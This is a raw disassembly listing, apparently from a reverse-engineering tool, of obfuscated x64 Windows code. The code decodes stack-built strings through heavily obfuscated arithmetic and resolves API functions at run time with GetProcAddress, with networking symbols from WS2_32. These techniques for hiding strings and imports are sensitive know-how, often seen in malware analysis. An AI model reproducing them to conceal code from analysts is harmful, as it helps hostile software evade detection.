lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
jmp 0x140069f03
movzx r9d, r10b
lea edx, [r9 + 0x80]
movzx eax, dl
and al, r11b
add al, al
movzx edi, byte [rbp + r10 + 0x100]
sub dil, al
add dil, 0x80
jmp 0x140069e99
movzx r9d, r10b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [rcx - 0x20]
jmp 0x140069e0c
movzx r9d, r10b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
sub r9b, 0x70
movzx eax, r9b
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x100], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + r10 + 0x100], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x1400694a3
movzx r9d, r10b
lea edx, [r9 - 0x10]
mov ecx, gethostname
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add r9b, 0x30
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x50
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x100], r9b
add rbx, r8
jmp 0x140069f68
movzx r9d, r10b
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140069f03
movzx r9d, r10b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
sub r9b, 0x30
movzx eax, r9b
and al, r11b
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x100], cl
inc r8
dec r10
inc r10
jmp 0x1400694a3
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
dec r10
inc r10
jmp 0x1400694a3
lea rcx, [r10 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x50
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400694a3
lea rcx, [r10 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x1400694a3
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x10
jmp 0x1400694a0
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x70
jmp 0x140069490
lea rdx, [rbp + 0x160e340]
jmp 0x140069fff
lea rdx, [rbp + 0x50b4f0]
jmp 0x140069fff
lea rdx, [rbp + 0x100]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x70], rax
mov byte [rbp - 0x30], 0x80
mov byte [rbp - 0x2f], __WSAFDIsSet
mov byte [rbp - 0x2e], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp - 0x2d], 0xa8
mov byte [rbp - 0x2c], 0x89
mov byte [rbp - 0x2b], 0x90
mov byte [rbp - 0x2a], 0xa5
mov byte [rbp - 0x29], 0xa4
mov byte [rbp - 0x28], 0x89
mov byte [rbp - 0x27], 0x8e
mov byte [rbp - 0x26], 0x8f
mov byte [rbp - 0x25], 0x6a
mov byte [rbp - 0x24], 0x2c
xor eax, eax
mov word [rbp - 0x23], ax
mov byte [rbp - 0x21], al
movabs r12, 0xf8e64597aeecd408
movabs r13, 0xc018725526537448
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x10
jae 0x14006ab91
movzx r11d, byte [rbp + r10 - 0x30]
mov r9, r11
cmp rbx, r10
ja 0x14006ab88
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006a0c2
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
sub dil, 0x38
jmp 0x14006a100
je 0x14006ab0b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006aa7b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006aa48
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006aa27
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006a9ff
nop dword [rax]
cmp r8, r10
ja 0x14006ab7f
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14006a12e
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006a162
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006a9b8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006a993
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006a971
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006a956
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14006a68d
nop
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006a66e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006a647
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006a622
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006a603
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006a5f5
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006a5da
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006a5bb
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006a5a0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006a572
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006a170
lea rbx, [r8 + 0x80]
lea r8, [rbx + 9]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006ab5f
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006ab42
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006a354
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006a335
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006a31a
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006a525
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006a4e7
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006a49c
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006a170
lea rbx, [r8 + 0x42]
lea r8, [rbx + 6]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006a472
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006a453
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006a438
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006a419
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006a3fe
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006a3df
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006a3ba
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006a396
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006a373
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006a170
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x40]
jmp 0x14006a170
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x68
jmp 0x14006a162
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006a100
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006a093
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x14006a9d2
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x14006a083
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006a083
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
movzx r9d, r10b
jmp 0x14006a90c
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r11b
add rbx, r8
jmp 0x14006aa62
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006aa62
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x14006aaa2
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006aaca
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14006a083
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x80
jb 0x14006a8e0
movzx r9d, r10b
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r11b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x14006a9d2
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x48
cmp rbx, 0xa
jae 0x14006a8ed
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006a7dd
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
jmp 0x14006a4ab
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x14006a936
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x14006a723
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
jmp 0x14006a4fd
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14006a083
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x14006aaca
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006aaa2
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
jmp 0x14006aa62
lea edx, [r10 - 0x50]
mov ecx, 0x18
jmp 0x14006a97a
movzx r9d, r10b
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x14006a90c
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006a083
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x14006a083
movzx r9d, r10b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x14006a9d2
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14006a6b1
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
jmp 0x14006a53f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a6e4
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14006a083
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006a708
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x14006aaa2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006a53f
lea edx, [r10 - 0x70]
mov ecx, 8
jmp 0x14006a97a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a74f
movzx r9d, r10b
lea edx, [r9 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006a9d2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a77c
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
inc r8
dec r10
inc r10
jmp 0x14006a083
cmp rbx, rcx
jne 0x14006a7a6
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006a083
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006a4fd
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14006a083
jne 0x14006a809
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14006a083
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006a830
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
add rbx, r8
jmp 0x14006aa62
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006a85c
movzx r9d, r10b
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006a90c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006a883
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r11b
dec r10
inc r10
jmp 0x14006a083
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a8b0
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x14006a083
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14006a4b6
movzx r9d, r10b
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006a9d2
mov byte [rbp + r10 - 0x30], dil
inc r10
jmp 0x14006a083
movzx r9d, r10b
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + r10 - 0x30]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x48
movzx eax, r11b
and al, r9b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dil
add cl, r11b
add cl, r9b
mov byte [rbp + r10 - 0x30], cl
add rbx, r8
jmp 0x14006aa62
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + r10 - 0x30]
lea edi, [r11 + rcx]
sub dil, 0x30
jmp 0x14006aaa2
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x18
jmp 0x14006aaca
lea edx, [r10 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x14006aa62
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x14006a083
movzx r9d, r10b
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
add r9b, 0x38
movzx eax, r11b
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 - 0x30], cl
inc r8
dec r10
inc r10
jmp 0x14006a083
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x14006a083
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x48
dec r10
inc r10
jmp 0x14006a083
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
mov edx, 4
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14006a083
movabs rdx, 0xce4be725c879cc38
add rdx, r10
movzx r11d, r9b
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x68
add cl, dl
movzx eax, cl
mov byte [rbp + r10 - 0x30], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + r10 - 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14006a083
movabs rcx, 0xeab2d0c70cc67c18
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x2c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14006a083
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x18
jmp 0x14006a080
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006a064
lea rdx, [rbp + 0x15e7530]
jmp 0x14006ab95
lea rdx, [rbp + 0xcb4938]
jmp 0x14006ab95
lea rdx, [rbp - 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x68], rax
mov byte [rbp + 0x300], gethostname
mov byte [rbp + 0x301], 0x1b
mov byte [rbp + 0x302], 0x53
mov byte [rbp + 0x303], 0x61
mov byte [rbp + 0x304], 0x67
mov byte [rbp + 0x305], 0x5d
mov byte [rbp + 0x306], 0x57
mov byte [rbp + 0x307], 0x63
mov byte [rbp + 0x308], 0x51
mov byte [rbp + 0x309], 0xb8
mov byte [rbp + 0x30a], 0x5f
mov byte [rbp + 0x30b], WSASetLastError
mov byte [rbp + 0x30c], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x30d], 0x58
mov byte [rbp + 0x30e], 0x55
mov byte [rbp + 0x30f], 0x5a
mov byte [rbp + 0x310], 0xfc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x311], xmm0
mov qword [rbp + 0x321], rax
mov dword [rbp + 0x329], eax
mov word [rbp + 0x32d], ax
movabs r12, 0xd9c3bf7d6f34cfbe
movabs r13, 0x8d4b3e784d9e6f3a
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x2f
jae 0x14006b6e7
movzx r10d, byte [rbp + r11 + 0x300]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006b6de
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006acbc
lea rcx, [r11 + r12]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x32
jmp 0x14006acf0
je 0x14006b664
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006b632
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b5ed
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006b5c8
nop dword [rax]
cmp r8, r11
ja 0x14006b6d5
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14006ad1a
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x14006ad70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006b57d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006b555
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b533
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006b517
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006b4fb
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006b46a
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006b197
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006b177
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006b14f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006b12d
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006b11b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006b0ff
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006b0e3
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006b0d1
mov rbx, rax
lea r8, [rax + 0x400]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006b6b5
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006b695
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006af08
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006aee9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006aece
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006b088
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006b00c
mov rbx, rax
lea r8, [rax + 0x400]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006afdb
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006afc0
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006afa1
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006af82
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006af67
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006af44
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006af23
mov rbx, rax
lea r8, [rax + 0x400]
jmp 0x14006ad80
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14006ad70
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006acf0
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x14006ac86
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
dec r11
inc r11
jmp 0x14006ac73
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14006b60b
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14006b648
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b64b
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
movzx r9d, r11b
jmp 0x14006b488
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14006b4b6
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ac73
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp rbx, 3
jae 0x14006b425
lea rcx, [r8 + 6]
cmp rbx, rcx
jbe 0x14006b348
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 4
add dil, dl
cmp r8, 0x400
jb 0x14006b415
movzx r9d, r11b
lea edx, [r9 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006b59b
lea edx, [r11 - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 3
je 0x14006b450
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14006b279
lea edx, [r11 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, ntohs
jmp 0x14006b01b
movzx r9d, r11b
lea edx, [r9 - 0x74]
mov ecx, socket
jmp 0x14006b477
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x70
jmp 0x14006b64b
lea ecx, [r11 - 0x6c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0xc
jmp 0x14006b648
movzx r9d, r11b
lea edx, [r9 + 0x18]
mov ecx, 0x2c
jmp 0x14006b5fa
lea ecx, [r11 - 0x64]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x44
dec r11
inc r11
jmp 0x14006ac73
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14006ac73
lea edx, [r11 - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7c
movzx r9d, r11b
jmp 0x14006b598
lea rax, [r8 + 2]
cmp rbx, rax
jae 0x14006b1bc
lea edx, [r11 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x32
jmp 0x14006b09f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b1f3
lea ecx, [r11 + 0x2c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ac73
lea rax, [r8 + 3]
cmp rbx, rax
